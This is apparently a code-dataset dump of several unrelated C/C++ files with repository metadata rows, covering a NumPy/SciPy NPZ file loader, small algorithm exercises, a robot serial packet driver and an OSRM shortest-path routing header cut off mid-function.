throw std::runtime_error("invalid NPY header (descr parse)");
}
// parse fortran_order in a boolean form [False, True]
if(1 != sscanf(strstr(header_cstr, "'fortran_order'"), "'fortran_order': %[FalseTrue] ", value_buffer)) {
throw std::runtime_error("invalid NPY header (fortran_order)");
}
this->fortran_order = std::string(value_buffer) == "True";
// parse shape in a tuple form
if (0 > sscanf(strstr(header_cstr, "'shape'"), "'shape': (%[^)]) ", value_buffer)) {
throw std::runtime_error("invalid NPY header (shape)");
}
char *ptr = &value_buffer[0];
int offset;
uint64_t dim;
num_elements = 1;
shape.clear();
while(sscanf(ptr, "%lu, %n", &dim, &offset) == 1) {
ptr += offset;
shape.push_back(dim);
num_elements *= dim;
}
// handle the case with single element case: shape=()
if(shape.size() == 0 && num_elements == 1) {
shape.push_back(1);
}
}
template<typename U=value_type, typename std::enable_if<std::is_arithmetic<U>::value, U>::type* = nullptr>
void load_content(FILE *fp, uint32_t& word_size, const std::string& dtype) {
array.resize(num_elements);
auto type_code = dtype.substr(1);
#define IF_CLAUSE_FOR(np_type_code, c_type) \
if(type_code == np_type_code) { \
bool byte_swap = pecos::file_util::different_from_runtime(dtype[0]); \
size_t batch_size = 32768; \
std::vector<c_type> batch(batch_size); \
for(size_t i = 0; i < num_elements; i += batch_size) { \
size_t num = std::min(batch_size, num_elements - i); \
pecos::file_util::fget_multiple<c_type>(batch.data(), num, fp, byte_swap); \
for(size_t b = 0; b < num; b++) { \
array[i + b] = static_cast<value_type>(batch[b]); \
} \
} \
}
IF_CLAUSE_FOR("f4", float)
else IF_CLAUSE_FOR("f8", double)
else IF_CLAUSE_FOR("f16", long double)
else IF_CLAUSE_FOR("i1", int8_t)
else IF_CLAUSE_FOR("i2", int16_t)
else IF_CLAUSE_FOR("i4", int32_t)
else IF_CLAUSE_FOR("i8", int64_t)
else IF_CLAUSE_FOR("u1", uint8_t)
else IF_CLAUSE_FOR("u2", uint16_t)
else IF_CLAUSE_FOR("u4", uint32_t)
else IF_CLAUSE_FOR("u8", uint64_t)
else IF_CLAUSE_FOR("b1", uint8_t)
#undef IF_CLAUSE_FOR
}
template<typename U=value_type, typename std::enable_if<std::is_same<value_type, std::basic_string<typename U::value_type>>::value, U>::type* = nullptr>
void load_content(FILE *fp, const uint32_t& word_size, const std::string& dtype) {
array.resize(num_elements);
auto type_code = dtype[1];
#define IF_CLAUSE_FOR(np_type_code, c_type, char_size) \
if(type_code == np_type_code) { \
std::vector<c_type> char_buffer(word_size); \
bool byte_swap = pecos::file_util::different_from_runtime(dtype[0]); \
for(size_t i = 0; i < num_elements; i++) { \
pecos::file_util::fget_multiple<c_type>(&char_buffer[0], word_size, fp, byte_swap); \
array[i] = value_type(reinterpret_cast<typename T::value_type*>(&char_buffer[0]), word_size * char_size); \
} \
}
// numpy uses UCS4 to encode unicode https://numpy.org/devdocs/reference/c-api/dtype.html?highlight=ucs4
IF_CLAUSE_FOR('U', char32_t, 4)
else IF_CLAUSE_FOR('S', char, 1)
#undef IF_CLAUSE_FOR
}
};
class ReadOnlyZipArchive {
private:
struct FileInfo {
std::string name;
uint64_t offset_of_content;
uint64_t offset_of_header;
uint64_t uncompressed_size;
uint64_t compressed_size;
uint16_t compression_method;
uint32_t signature;
uint16_t version;
uint16_t bit_flag;
uint16_t last_modified_time;
uint16_t last_modified_date;
uint32_t crc_32;
FileInfo() {}
static bool valid_start(FILE *fp) {
return pecos::file_util::fpeek<uint32_t>(fp) == 0x04034b50; // local header
}
// https://en.wikipedia.org/wiki/Zip_(file_format)#ZIP64
// https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT
static FileInfo get_one_from(FILE *fp) {
// ReadOnlyZipArchive always uses little endian
bool byte_swap = pecos::file_util::different_from_runtime('<');
FileInfo info;
info.offset_of_header = ftell(fp);
info.signature = pecos::file_util::fget_one<uint32_t>(fp, byte_swap);
info.version = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
info.bit_flag = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
info.compression_method = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
info.last_modified_time = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
info.last_modified_date = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
info.crc_32 = pecos::file_util::fget_one<uint32_t>(fp, byte_swap);
if(info.compression_method != 0) {
throw std::runtime_error("only uncompressed zip archive is supported.");
}
info.compressed_size = pecos::file_util::fget_one<uint32_t>(fp, byte_swap);
info.uncompressed_size = pecos::file_util::fget_one<uint32_t>(fp, byte_swap);
auto filename_length = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
auto extra_field_length = pecos::file_util::fget_one<uint16_t>(fp, byte_swap);
std::vector<char> filename(filename_length, (char)0);
std::vector<char> extra_field(extra_field_length, (char)0);
pecos::file_util::fget_multiple<char>(&filename[0], filename_length, fp, byte_swap);
pecos::file_util::fget_multiple<char>(&extra_field[0], extra_field_length, fp, byte_swap);
info.name = std::string(&filename[0], filename_length);
info.offset_of_content = ftell(fp);
// handle zip64 extra field to obtain proper size information
uint64_t it = 0;
while(it < extra_field.size()) {
uint16_t header_id = *reinterpret_cast<uint16_t*>(&extra_field[it]);
it += sizeof(header_id);
uint16_t data_size = *reinterpret_cast<uint16_t*>(&extra_field[it]);
it += sizeof(data_size);
if(header_id == 0x0001) { // zip64 extended information in extra field
info.uncompressed_size = *reinterpret_cast<uint64_t*>(&extra_field[it]);
info.compressed_size = *reinterpret_cast<uint64_t*>(&extra_field[it + sizeof(info.uncompressed_size)]);
}
it += data_size;
}
// skip the actual content
fseek(fp, info.compressed_size, SEEK_CUR);
// skip the data descriptor if bit 3 of the general purpose bit flag is set
if (info.bit_flag & 8) {
fseek(fp, 12, SEEK_CUR);
}
return info;
}
};
std::vector<FileInfo> file_info_array;
std::unordered_map<std::string, FileInfo*> mapping;
public:
ReadOnlyZipArchive(const std::string& zip_name) {
FILE *fp = fopen(zip_name.c_str(), "rb");
while(FileInfo::valid_start(fp)) {
file_info_array.emplace_back(FileInfo::get_one_from(fp));
}
fclose(fp);
for(auto& file : file_info_array) {
mapping[file.name] = &file;
}
}
FileInfo& operator[](const std::string& name) { return *mapping.at(name); }
const FileInfo& operator[](const std::string& name) const { return *mapping.at(name); }
};
template<bool IsCsr, typename DataT, typename IndicesT = uint32_t, typename IndptrT = uint64_t, typename ShapeT = uint64_t>
struct ScipySparseNpz {
NpyArray<IndicesT> indices;
NpyArray<IndptrT> indptr;
NpyArray<DataT> data;
NpyArray<ShapeT> shape;
NpyArray<std::string> format;
ScipySparseNpz() {}
ScipySparseNpz(const std::string& npz_filepath) { load(npz_filepath); }
uint64_t size() const { return data.size(); }
uint64_t rows() const { return shape[0]; }
uint64_t cols() const { return shape[1]; }
uint64_t nnz() const { return data.size(); }
void load(const std::string& npz_filepath) {
auto npz = ReadOnlyZipArchive(npz_filepath);
format.load(npz_filepath, npz["format.npy"].offset_of_content);
if(IsCsr && format[0] != "csr") {
throw std::runtime_error(npz_filepath + " is not a valid scipy CSR npz");
} else if (!IsCsr && format[0] != "csc") {
throw std::runtime_error(npz_filepath + " is not a valid scipy CSC npz");
}
indices.load(npz_filepath, npz["indices.npy"].offset_of_content);
data.load(npz_filepath, npz["data.npy"].offset_of_content);
indptr.load(npz_filepath, npz["indptr.npy"].offset_of_content);
shape.load(npz_filepath, npz["shape.npy"].offset_of_content);
}
void fill_ones(size_t rows, size_t cols) {
shape.resize({2});
shape[0] = rows;
shape[1] = cols;
uint64_t nnz = rows * cols;
data.resize({nnz}, DataT(1));
indices.resize({nnz});
format.resize({1});
if(IsCsr) {
format[0] = "csr";
indptr.resize({rows + 1});
for(size_t r = 0; r < rows; r++) {
for(size_t c = 0; c < cols; c++) {
indices[r * cols + c] = c;
}
indptr[r + 1] = indptr[r] + cols;
}
} else {
format[0] = "csc";
indptr.resize({cols + 1});
for(size_t c = 0; c < cols; c++) {
for(size_t r = 0; r < rows; r++) {
indices[c * rows + r] = r;
}
indptr[c + 1] = indptr[c] + rows;
}
}
}
};
} // end namespace pecos
#endif // end of __SCIPY_LOADER_H__
| 38.766578 | 156 | 0.602395 | xeisberg |
6011f71730c5a91c5493b77d80c6e949dd86942f | 996 | cpp | C++ | ChCppLibrary/CPP/ChModelLoader/ChModelLoader.cpp | Chronoss0518/GameLibrary | e6edcd1381be94c237c4527bfd8454ed9d6e8b52 | [
"Zlib",
"MIT"
] | null | null | null | ChCppLibrary/CPP/ChModelLoader/ChModelLoader.cpp | Chronoss0518/GameLibrary | e6edcd1381be94c237c4527bfd8454ed9d6e8b52 | [
"Zlib",
"MIT"
] | 7 | 2022-01-13T11:00:30.000Z | 2022-02-06T15:50:18.000Z | ChCppLibrary/CPP/ChModelLoader/ChModelLoader.cpp | Chronoss0518/GameLibrary | e6edcd1381be94c237c4527bfd8454ed9d6e8b52 | [
"Zlib",
"MIT"
] | null | null | null | #include"../../BaseIncluder/ChBase.h"
#include"../ChTextObject/ChTextObject.h"
#include"../ChModel/ChModelObject.h"
#include"ChModelLoader.h"
///////////////////////////////////////////////////////////////////////////////////////
//ChModelLoader Method//
///////////////////////////////////////////////////////////////////////////////////////
void ChCpp::ModelLoaderBase::Init(ModelObject* _model)
{
oModel = _model;
}
///////////////////////////////////////////////////////////////////////////////////////
void ChCpp::ModelLoaderBase::SetModel(ChPtr::Shared<ModelFrame> _models)
{
oModel->model = _models;
}
///////////////////////////////////////////////////////////////////////////////////////
std::string ChCpp::ModelLoaderBase::GetRoutePath(const std::string& _filePath)
{
if (_filePath.find("\\") == _filePath.find("/"))return "";
std::string tmpPath = ChStr::StrReplase(_filePath, "\\", "/");
unsigned long tmp = tmpPath.rfind("/");
return tmpPath.substr(0, tmp + 1);
}
| 26.210526 | 87 | 0.451807 | Chronoss0518 |
601276d5a696e5d724821350c600943bc3e45573 | 916 | cpp | C++ | Arrays/CommonElementsOptimal.cpp | jahnvisrivastava100/CompetitiveProgrammingQuestionBank | 0d72884ea5e0eb674a503b81ab65e444f5175cf4 | [
"MIT"
] | 931 | 2020-04-18T11:57:30.000Z | 2022-03-31T15:15:39.000Z | Arrays/CommonElementsOptimal.cpp | jahnvisrivastava100/CompetitiveProgrammingQuestionBank | 0d72884ea5e0eb674a503b81ab65e444f5175cf4 | [
"MIT"
] | 661 | 2020-12-13T04:31:48.000Z | 2022-03-15T19:11:54.000Z | Arrays/CommonElementsOptimal.cpp | Mayuri-cell/CompetitiveProgrammingQuestionBank | eca2257d7da5346f45bdd7a351cc95bde6ed5c7d | [
"MIT"
] | 351 | 2020-08-10T06:49:21.000Z | 2022-03-25T04:02:12.000Z | /*Finding common elements between two arrays in which the elements are distinct.
Eg:
1 2 3 4 5 12 8
6 7 3 4 2 9 11
1 2 3 4 5 8 12
2 3 4 6 7 9 11
O/P:
2 3 4
*/
#include<algorithm>
#include<iostream>
#include<vector>
using namespace std;
int main(int argc, char const *argv[])
{
int n1,n2,a;
cin>>n1;
vector<int> v1,v2,v3;
for(int i=0;i<n1;i++)
{ cin>>a;
v1.push_back(a);
}
cin>>n2;
for(int i=0;i<n2;i++)
{
cin>>a;
v2.push_back(a);
}
sort(v1.begin(),v1.end());
sort(v2.begin(),v2.end());
// Two Pointer Method
int j=0,k=0;
while(j<v1.size() && k<v2.size())
{
if(v1[j]==v2[k])
{
v3.push_back(v1[j]);
j++;
k++;
}
else if(v1[j]<v2[k])
j++;
else
k++;
}
for(int i:v3)
cout<<i<<" ";
return 0;
}
| 15.793103 | 80 | 0.457424 | jahnvisrivastava100 |
601741df46a6b41e1f51dd9d7330a398dfbca766 | 543 | cpp | C++ | Competitive Programming/ICPC/2016/Sub-Regionals/Warm-up/B (Concurso de Contos).cpp | NelsonGomesNeto/ProgramC | e743b1b869f58f7f3022d18bac00c5e0b078562e | [
"MIT"
] | 3 | 2018-12-18T13:39:42.000Z | 2021-06-23T18:05:18.000Z | Competitive Programming/ICPC/2016/Sub-Regionals/Warm-up/B (Concurso de Contos).cpp | NelsonGomesNeto/ProgramC | e743b1b869f58f7f3022d18bac00c5e0b078562e | [
"MIT"
] | 1 | 2018-11-02T21:32:40.000Z | 2018-11-02T22:47:12.000Z | Competitive Programming/ICPC/2016/Sub-Regionals/Warm-up/B (Concurso de Contos).cpp | NelsonGomesNeto/ProgramC | e743b1b869f58f7f3022d18bac00c5e0b078562e | [
"MIT"
] | 6 | 2018-10-27T14:07:52.000Z | 2019-11-14T13:49:29.000Z | #include <bits/stdc++.h>
int main()
{
int n, l, c; scanf("%d %d %d\n", &n, &l, &c);
int wordsSize[n], inLine = 0, lines = 1, pages = 1, first = 1;
char words[n][c + 1];
for (int i = 0; i < n; i ++)
{
scanf("%s", words[i]); getchar();
wordsSize[i] = strlen(words[i]);
inLine += (!first) + wordsSize[i];
first = 0;
if (inLine > c)
{
inLine = wordsSize[i];
first = 0;
lines ++;
}
if (lines > l)
{
lines = 1;
pages ++;
}
}
printf("%d\n", pages);
return(0);
} | 18.1 | 64 | 0.451197 | NelsonGomesNeto |
601a43e8358bedf2ded7d654ed0974f2480b3fca | 394 | hpp | C++ | RoboMan/CMD.hpp | paullohs/RoboMan | 28014822766a558fa94127120142d081742c507a | [
"Unlicense"
] | null | null | null | RoboMan/CMD.hpp | paullohs/RoboMan | 28014822766a558fa94127120142d081742c507a | [
"Unlicense"
] | null | null | null | RoboMan/CMD.hpp | paullohs/RoboMan | 28014822766a558fa94127120142d081742c507a | [
"Unlicense"
] | null | null | null | #pragma once
#include "VEC.hpp"
#include <deque>
class CMD;
typedef std::deque<CMD> CMD_DEQUE;
typedef int BOOL;
enum CMD_ENUM {
MOVE,
LASER,
WAIT
};
class __declspec(dllexport) CMD {
public:
CMD();
CMD(CMD &cpy);
CMD(CMD_ENUM &e, BOOL &b);
CMD(CMD_ENUM &e, VEC &v);
CMD(CMD_ENUM &e, NUM &n);
~CMD();
VEC coords;
CMD_ENUM command;
BOOL val;
NUM value;
private:
};
| 13.133333 | 34 | 0.639594 | paullohs |
601abb9f17adf6612ccab2e6060a8e316a1d8812 | 2,875 | cc | C++ | physicalrobots/player/server/drivers/mixed/clodbuster/packet.cc | parasol-ppl/PPL_utils | 92728bb89692fda1705a0dee436592d97922a6cb | [
"BSD-3-Clause"
] | null | null | null | physicalrobots/player/server/drivers/mixed/clodbuster/packet.cc | parasol-ppl/PPL_utils | 92728bb89692fda1705a0dee436592d97922a6cb | [
"BSD-3-Clause"
] | null | null | null | physicalrobots/player/server/drivers/mixed/clodbuster/packet.cc | parasol-ppl/PPL_utils | 92728bb89692fda1705a0dee436592d97922a6cb | [
"BSD-3-Clause"
] | null | null | null | /*
* Player - One Hell of a Robot Server
* Copyright (C) 2000
* Brian Gerkey, Kasper Stoy, Richard Vaughan, & Andrew Howard
*
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
/*
* $Id: packet.cc 6374 2008-04-23 05:17:52Z gbiggs $
* GRASP version of the P2OS packet class. this class has methods
* for building, printing, sending and receiving GRASP Board packets.
*
*/
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include "packet.h"
#include <unistd.h>
#include <stdlib.h> /* for exit() */
#include "clodbuster.h"
//extern bool debug;
void GRASPPacket::Print() {
if (packet) {
printf("\"");
for(int i=0;i<(int)size;i++) {
printf("%u ", packet[i]);
}
puts("\"");
}
}
void GRASPPacket::PrintHex() {
if (packet) {
printf("\"");
for(int i=0;i<(int)size;i++) {
printf("0x%.2x ", packet[i]);
}
puts("\"");
}
}
int GRASPPacket::Receive( int fd,unsigned char command)
{
switch(command)
{
case ECHO_SERVO_VALUES:
case ECHO_MAX_SERVO_LIMITS:
case ECHO_MIN_SERVO_LIMITS:
case ECHO_CEN_SERVO_LIMITS:
retsize=8;
break;
case ECHO_ENCODER_COUNTS: retsize=6; break;
case ECHO_ENCODER_COUNTS_TS:
case ECHO_ADC: retsize=10;break;
case READ_ID:retsize=1;break;
case ECHO_SLEEP_MODE: retsize=1;break;
default:
retsize=0;return(1);
}
memset(packet,0,retsize);
int cnt = 0;
cnt=read( fd, packet, retsize);
if (cnt!=(int)retsize)
printf("wrong read size: asked %d got %d\n",retsize,cnt);
return(0);
}
int GRASPPacket::Build(unsigned char command, unsigned char data)
{
/* header */
packet[0]=0xFF;
packet[1]=command;
packet[2]=data;
size=3;
return(0);
}
int GRASPPacket::Build(unsigned char command)
{
/* header */
packet[0]=0xFF;
packet[1]=command;
packet[2]=0x00;
size=3;
return(0);
}
int GRASPPacket::Send(int fd)
{
int cnt=0;
cnt = write( fd, packet, size );
if(cnt !=(int)size)
{
perror("Send");
return(1);
}
/* if(debug)
{
struct timeval dummy;
GlobalTime->GetTime(&dummy);
printf("GRASPPacket::Send():%ld:%ld\n", dummy.tv_sec, dummy.tv_usec);
}*/
return(0);
}
| 21.946565 | 77 | 0.646609 | parasol-ppl |
601e39460d06a52934eede4b385fbbd9af244c81 | 25,384 | hpp | C++ | routing_algorithms/shortest_path.hpp | aaronbenz/osrm-backend | 758d4023050d1f49971f919cea872a2276dafe14 | [
"BSD-2-Clause"
] | 1 | 2021-03-06T05:07:44.000Z | 2021-03-06T05:07:44.000Z | routing_algorithms/shortest_path.hpp | aaronbenz/osrm-backend | 758d4023050d1f49971f919cea872a2276dafe14 | [
"BSD-2-Clause"
] | null | null | null | routing_algorithms/shortest_path.hpp | aaronbenz/osrm-backend | 758d4023050d1f49971f919cea872a2276dafe14 | [
"BSD-2-Clause"
] | null | null | null | /*
Copyright (c) 2015, Project OSRM contributors
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list
of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef SHORTEST_PATH_HPP
#define SHORTEST_PATH_HPP
#include "../typedefs.h"
#include "routing_base.hpp"
#include "../data_structures/search_engine_data.hpp"
#include "../util/integer_range.hpp"
#include <boost/assert.hpp>
template <class DataFacadeT>
class ShortestPathRouting final
: public BasicRoutingInterface<DataFacadeT, ShortestPathRouting<DataFacadeT>>
{
using super = BasicRoutingInterface<DataFacadeT, ShortestPathRouting<DataFacadeT>>;
using QueryHeap = SearchEngineData::QueryHeap;
SearchEngineData &engine_working_data;
public:
ShortestPathRouting(DataFacadeT *facade, SearchEngineData &engine_working_data)
: super(facade), engine_working_data(engine_working_data)
{
}
~ShortestPathRouting() {}
// allows a uturn at the target_phantom
// searches source forward/reverse -> target forward/reverse
void SearchWithUTurn(QueryHeap &forward_heap,
QueryHeap &reverse_heap,
const bool search_from_forward_node,
const bool search_from_reverse_node,
const bool search_to_forward_node,
const bool search_to_reverse_node,
const PhantomNode &source_phantom,
const PhantomNode &target_phantom,
const int total_distance_to_forward,
const int total_distance_to_reverse,
int &new_total_distance,
std::vector<NodeID> &leg_packed_path) const
{
forward_heap.Clear();
reverse_heap.Clear();
if (search_from_forward_node)
{
forward_heap.Insert(source_phantom.forward_node_id,
total_distance_to_forward -
source_phantom.GetForwardWeightPlusOffset(),
source_phantom.forward_node_id);
}
if (search_from_reverse_node)
{
forward_heap.Insert(source_phantom.reverse_node_id,
total_distance_to_reverse -
source_phantom.GetReverseWeightPlusOffset(),
source_phantom.reverse_node_id);
}
if (search_to_forward_node)
{
reverse_heap.Insert(target_phantom.forward_node_id,
target_phantom.GetForwardWeightPlusOffset(),
target_phantom.forward_node_id);
}
if (search_to_reverse_node)
{
reverse_heap.Insert(target_phantom.reverse_node_id,
target_phantom.GetReverseWeightPlusOffset(),
target_phantom.reverse_node_id);
}
BOOST_ASSERT(forward_heap.Size() > 0);
BOOST_ASSERT(reverse_heap.Size() > 0);
super::Search(forward_heap, reverse_heap, new_total_distance, leg_packed_path);
}
// If source and target are reverse on a oneway we need to find a path
// that connects the two. This is _not_ the shortest path in our model,
// as source and target are on the same edge based node.
// We force a detour by inserting "virtaul vias", which means we search a path
// from all nodes that are connected by outgoing edges to all nodes that are connected by
// incoming edges.
// ------^
// | ^source
// | ^
// | ^target
// ------^
void SearchLoop(QueryHeap &forward_heap,
QueryHeap &reverse_heap,
const bool search_forward_node,
const bool search_reverse_node,
const PhantomNode &source_phantom,
const PhantomNode &target_phantom,
const int total_distance_to_forward,
const int total_distance_to_reverse,
int &new_total_distance_to_forward,
int &new_total_distance_to_reverse,
std::vector<NodeID> &leg_packed_path_forward,
std::vector<NodeID> &leg_packed_path_reverse) const
{
BOOST_ASSERT(source_phantom.forward_node_id == target_phantom.forward_node_id);
BOOST_ASSERT(source_phantom.reverse_node_id == target_phantom.reverse_node_id);
if (search_forward_node)
{
forward_heap.Clear();
reverse_heap.Clear();
auto node_id = source_phantom.forward_node_id;
for (const auto edge : super::facade->GetAdjacentEdgeRange(node_id))
{
const auto& data = super::facade->GetEdgeData(edge);
if (data.forward)
{
auto target = super::facade->GetTarget(edge);
auto offset = total_distance_to_forward + data.distance - source_phantom.GetForwardWeightPlusOffset();
forward_heap.Insert(target, offset, target);
}
if (data.backward)
{
auto target = super::facade->GetTarget(edge);
auto offset = data.distance + target_phantom.GetForwardWeightPlusOffset();
reverse_heap.Insert(target, offset, target);
}
}
BOOST_ASSERT(forward_heap.Size() > 0);
BOOST_ASSERT(reverse_heap.Size() > 0);
super::Search(forward_heap, reverse_heap, new_total_distance_to_forward,
leg_packed_path_forward);
// insert node to both endpoints to close the leg
leg_packed_path_forward.push_back(node_id);
std::reverse(leg_packed_path_forward.begin(), leg_packed_path_forward.end());
leg_packed_path_forward.push_back(node_id);
std::reverse(leg_packed_path_forward.begin(), leg_packed_path_forward.end());
}
if (search_reverse_node)
{
forward_heap.Clear();
reverse_heap.Clear();
auto node_id = source_phantom.reverse_node_id;
for (const auto edge : super::facade->GetAdjacentEdgeRange(node_id))
{
const auto& data = super::facade->GetEdgeData(edge);
if (data.forward)
{
auto target = super::facade->GetTarget(edge);
auto offset = total_distance_to_reverse + data.distance - source_phantom.GetReverseWeightPlusOffset();
forward_heap.Insert(target, offset, target);
}
if (data.backward)
{
auto target = super::facade->GetTarget(edge);
auto offset = data.distance + target_phantom.GetReverseWeightPlusOffset();
reverse_heap.Insert(target, offset, target);
}
}
BOOST_ASSERT(forward_heap.Size() > 0);
BOOST_ASSERT(reverse_heap.Size() > 0);
super::Search(forward_heap, reverse_heap, new_total_distance_to_reverse,
leg_packed_path_reverse);
// insert node to both endpoints to close the leg
leg_packed_path_reverse.push_back(node_id);
std::reverse(leg_packed_path_reverse.begin(), leg_packed_path_reverse.end());
leg_packed_path_reverse.push_back(node_id);
std::reverse(leg_packed_path_reverse.begin(), leg_packed_path_reverse.end());
}
}
// searches shortest path between:
// source forward/reverse -> target forward
// source forward/reverse -> target reverse
void Search(QueryHeap &forward_heap,
QueryHeap &reverse_heap,
const bool search_from_forward_node,
const bool search_from_reverse_node,
const bool search_to_forward_node,
const bool search_to_reverse_node,
const PhantomNode &source_phantom,
const PhantomNode &target_phantom,
const int total_distance_to_forward,
const int total_distance_to_reverse,
int &new_total_distance_to_forward,
int &new_total_distance_to_reverse,
std::vector<NodeID> &leg_packed_path_forward,
std::vector<NodeID> &leg_packed_path_reverse) const
{
if (search_to_forward_node)
{
forward_heap.Clear();
reverse_heap.Clear();
reverse_heap.Insert(target_phantom.forward_node_id,
target_phantom.GetForwardWeightPlusOffset(),
target_phantom.forward_node_id);
if (search_from_forward_node)
{
forward_heap.Insert(source_phantom.forward_node_id,
total_distance_to_forward -
source_phantom.GetForwardWeightPlusOffset(),
source_phantom.forward_node_id);
}
if (search_from_reverse_node)
{
forward_heap.Insert(source_phantom.reverse_node_id,
total_distance_to_reverse -
source_phantom.GetReverseWeightPlusOffset(),
source_phantom.reverse_node_id);
}
BOOST_ASSERT(forward_heap.Size() > 0);
BOOST_ASSERT(reverse_heap.Size() > 0);
super::Search(forward_heap, reverse_heap, new_total_distance_to_forward,
leg_packed_path_forward);
}
if (search_to_reverse_node)
{
forward_heap.Clear();
reverse_heap.Clear();
reverse_heap.Insert(target_phantom.reverse_node_id,
target_phantom.GetReverseWeightPlusOffset(),
target_phantom.reverse_node_id);
if (search_from_forward_node)
{
forward_heap.Insert(source_phantom.forward_node_id,
total_distance_to_forward -
source_phantom.GetForwardWeightPlusOffset(),
source_phantom.forward_node_id);
}
if (search_from_reverse_node)
{
forward_heap.Insert(source_phantom.reverse_node_id,
total_distance_to_reverse -
source_phantom.GetReverseWeightPlusOffset(),
source_phantom.reverse_node_id);
}
BOOST_ASSERT(forward_heap.Size() > 0);
BOOST_ASSERT(reverse_heap.Size() > 0);
super::Search(forward_heap, reverse_heap, new_total_distance_to_reverse,
leg_packed_path_reverse);
}
}
void UnpackLegs(const std::vector<PhantomNodes> &phantom_nodes_vector,
const std::vector<NodeID> &total_packed_path,
const std::vector<std::size_t> &packed_leg_begin,
const int shortest_path_length,
InternalRouteResult &raw_route_data) const
{
raw_route_data.unpacked_path_segments.resize(packed_leg_begin.size() - 1);
raw_route_data.shortest_path_length = shortest_path_length;
for (const auto current_leg : osrm::irange<std::size_t>(0, packed_leg_begin.size() - 1))
{
auto leg_begin = total_packed_path.begin() + packed_leg_begin[current_leg];
auto leg_end = total_packed_path.begin() + packed_leg_begin[current_leg + 1];
const auto &unpack_phantom_node_pair = phantom_nodes_vector[current_leg];
super::UnpackPath(leg_begin, leg_end, unpack_phantom_node_pair,
raw_route_data.unpacked_path_segments[current_leg]);
raw_route_data.source_traversed_in_reverse.push_back(
(*leg_begin != phantom_nodes_vector[current_leg].source_phantom.forward_node_id));
raw_route_data.target_traversed_in_reverse.push_back(
(*std::prev(leg_end) !=
phantom_nodes_vector[current_leg].target_phantom.forward_node_id));
}
}
void operator()(const std::vector<PhantomNodes> &phantom_nodes_vector,
const std::vector<bool> &uturn_indicators,
InternalRouteResult &raw_route_data) const
{
BOOST_ASSERT(uturn_indicators.size() == phantom_nodes_vector.size() + 1);
engine_working_data.InitializeOrClearFirstThreadLocalStorage(
super::facade->GetNumberOfNodes());
QueryHeap &forward_heap = *(engine_working_data.forward_heap_1);
QueryHeap &reverse_heap = *(engine_working_data.reverse_heap_1);
int total_distance_to_forward = 0;
int total_distance_to_reverse = 0;
bool search_from_forward_node = phantom_nodes_vector.front().source_phantom.forward_node_id != SPECIAL_NODEID;
bool search_from_reverse_node = phantom_nodes_vector.front().source_phantom.reverse_node_id != SPECIAL_NODEID;
std::vector<NodeID> prev_packed_leg_to_forward;
std::vector<NodeID> prev_packed_leg_to_reverse;
std::vector<NodeID> total_packed_path_to_forward;
std::vector<std::size_t> packed_leg_to_forward_begin;
std::vector<NodeID> total_packed_path_to_reverse;
std::vector<std::size_t> packed_leg_to_reverse_begin;
std::size_t current_leg = 0;
// this implements a dynamic program that finds the shortest route through
// a list of vias
for (const auto &phantom_node_pair : phantom_nodes_vector)
{
int new_total_distance_to_forward = INVALID_EDGE_WEIGHT;
int new_total_distance_to_reverse = INVALID_EDGE_WEIGHT;
std::vector<NodeID> packed_leg_to_forward;
std::vector<NodeID> packed_leg_to_reverse;
const auto &source_phantom = phantom_node_pair.source_phantom;
const auto &target_phantom = phantom_node_pair.target_phantom;
BOOST_ASSERT(current_leg + 1 < uturn_indicators.size());
const bool allow_u_turn_at_via = uturn_indicators[current_leg + 1];
bool search_to_forward_node = target_phantom.forward_node_id != SPECIAL_NODEID;
bool search_to_reverse_node = target_phantom.reverse_node_id != SPECIAL_NODEID;
BOOST_ASSERT(!search_from_forward_node || source_phantom.forward_node_id != SPECIAL_NODEID);
BOOST_ASSERT(!search_from_reverse_node || source_phantom.reverse_node_id != SPECIAL_NODEID);
if (source_phantom.forward_node_id == target_phantom.forward_node_id &&
source_phantom.GetForwardWeightPlusOffset() > target_phantom.GetForwardWeightPlusOffset())
{
search_to_forward_node = search_from_reverse_node;
}
if (source_phantom.reverse_node_id == target_phantom.reverse_node_id &&
source_phantom.GetReverseWeightPlusOffset() > target_phantom.GetReverseWeightPlusOffset())
{
search_to_reverse_node = search_from_forward_node;
}
BOOST_ASSERT(search_from_forward_node || search_from_reverse_node);
if(search_to_reverse_node || search_to_forward_node)
{
if (allow_u_turn_at_via)
{
SearchWithUTurn(forward_heap, reverse_heap, search_from_forward_node,
